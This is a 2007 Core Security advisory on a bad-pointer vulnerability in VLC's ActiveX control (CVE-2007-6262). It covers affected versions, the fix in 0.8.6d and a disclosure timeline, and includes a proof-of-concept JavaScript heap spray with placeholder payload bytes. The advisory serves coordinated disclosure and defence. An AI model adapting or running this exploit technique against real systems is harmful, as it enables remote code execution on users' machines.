VLC Activex Bad Pointer Initialization Vulnerability

VLC Activex Bad Pointer Initialization Vulnerability

Core Security Technologies - CoreLabs Advisory

Advisory Information

Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-03
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release

Vulnerability Information

Class: Access validation error
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 26675
CVE Name: CVE-2007-6262

Vulnerability Description

VLC player is a popular multimedia player for various audio and video formats, and various streaming protocols.

A vulnerability has been found in the ActiveX control DLL (axvlc.dll) used by VLC player. This library contains three methods whose parameters are not correctly checked, and may produce a bad initialized pointer. By providing these functions specially crafted parameters, an attacker can overwrite memory zones and execute arbitrary code.

Vulnerable packages

VLC media player version 0.86, 0.86a, 0.86b y 0.86c.

Non-vulnerable packages

VLC media player versions prior to 0.86.
VLC media player version 0.86d.

Vendor Information, Solutions and Workarounds

VLC media player 0.8.6d adresses this issue and introduces further usability fixes.

Download it from the VideoLAN project website: http://www.videolan.org/


This vulnerability was discovered by Ricardo Narvaja (Ricnar) from the Exploit Writers team of Core Security Technologies.

Technical Description / Proof of Concept Code

The ActiveX control DLL (axvlc.dll) contains three methods whose parameters are not correctly checked, and may produce a bad initialized pointer. By providing these functions specially crafted parameters, an attacker can overwrite memory zones and execute arbitrary code.

The vulnerable functions are:

Sub addTarget (
ByVal uri As String ,
ByVal options As Variant ,
ByVal mode As VLCPlaylistMode ,
ByVal Position As Long)

Function getVariable (ByVal name As String)

Sub setVariable (
ByVal name As String ,
ByVal value As Variant)

The following assembly code is where the axvlc.dll library crashes. The pointer that is read to be executed, can be overwritten, depending on how the strings are sent. It also requires that previously other files are loaded that left the pointer bad initialized, with the value that the attacker needs to jump to his own code.

000113CD    FF50 14         CALL DWORD PTR DS:[EAX+14]
000113D0    8B53 08         MOV EDX,DWORD PTR DS:[EBX+8]
000113D3    85D2            TEST EDX,EDX

The following is a PoC HTML file, using one of the vulnerable methods (addTarget).

      var mm  = null;
      if( target != null )
         var param1 = unescape("%u0505%u0505");
         var salame = "defaultV";
         var salame2 = 1;
         var salame3 = 0;
         ag   = unescape("%uCCCC%uCCCC");
         sh   =  unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
         sz   = sh.length * 2;
         npsz = 0x400000 - (sz + 0x38);
         nps  = unescape("%u0505%u0505"); 
         while(nps.length * 2 < npsz) nps += nps;
         ihbc = (0x0E000000 - 0x400000) / 0x400000;
         mm   = new Array();
         for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;
         for(var i=0;i<2000;i++)
            param1 = param1 + unescape("%u0505%u0505");
         target.getVariable (param1);

Report Timeline

  • 2007-10-26: Core notifies the VLC team of the vulnerability.
  • 2007-10-29: Technical details sent by Core to VLC.
  • 2007-11-23: VLC notifies Core that a fix has been produced, and will be released in VLC version 0.8.6d.
  • 2007-11-30: VLC releases version 0.8.6d, which fixes this vulnerability.
  • 2007-12-03: CORE-2007-1004 advisory is published.


[1] Practical demonstration of VLC ActiveX vulnerability

About Corelabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.


The contents of this advisory are copyright (c) 2007 CORE Security Technologies and (c) 2007 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


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